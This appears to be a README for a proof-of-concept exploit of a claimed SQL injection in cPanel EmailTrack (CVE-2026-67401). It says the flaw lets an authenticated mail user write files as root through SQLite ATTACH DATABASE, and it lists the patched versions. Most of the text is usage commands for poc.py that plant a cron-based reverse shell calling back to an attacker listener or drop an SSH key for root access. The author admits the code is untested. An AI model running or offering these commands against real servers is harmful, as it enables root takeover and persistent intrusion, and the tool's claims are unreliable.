CVE-2026-67401

SQL injection in cPanel EmailTrack. Authenticated cPanel user with mail privileges writes arbitrary files as root via SQLite ATTACH DATABASE. One request to root. Haven't tested on a real target, code is only put together from public information and basic diff'ing. Do your due diligence as a researcher and try it and send PR fixes.

Affects all cPanel/WHM builds before Sep 8 2026 patch.

What should be present

• Valid cPanel account with mail privileges on the target server
• Python 3, requests library
• A listener if using the reverse shell payload

How to use it

# Reverse shell via cron
python3 poc.py --target https://host:2083 -u user -p pass --lhost 10.0.0.1 --lport 443

# SSH key drop
python3 poc.py --target https://host:2083 -u user -p pass --ssh-key ~/.ssh/id_rsa.pub

# Existing session
python3 poc.py --target https://host:2083 --cookie abc --token cpsessXXX --lhost 10.0.0.1

# Dry run (print request, don't send)
python3 poc.py --target https://host:2083 --dry-run --lhost 10.0.0.1

FIXES

• 11.138.0.4 (CURRENT/EDGE)
• 11.136.0.39 (RELEASE/STABLE)
• 11.134.0.55 (LTS)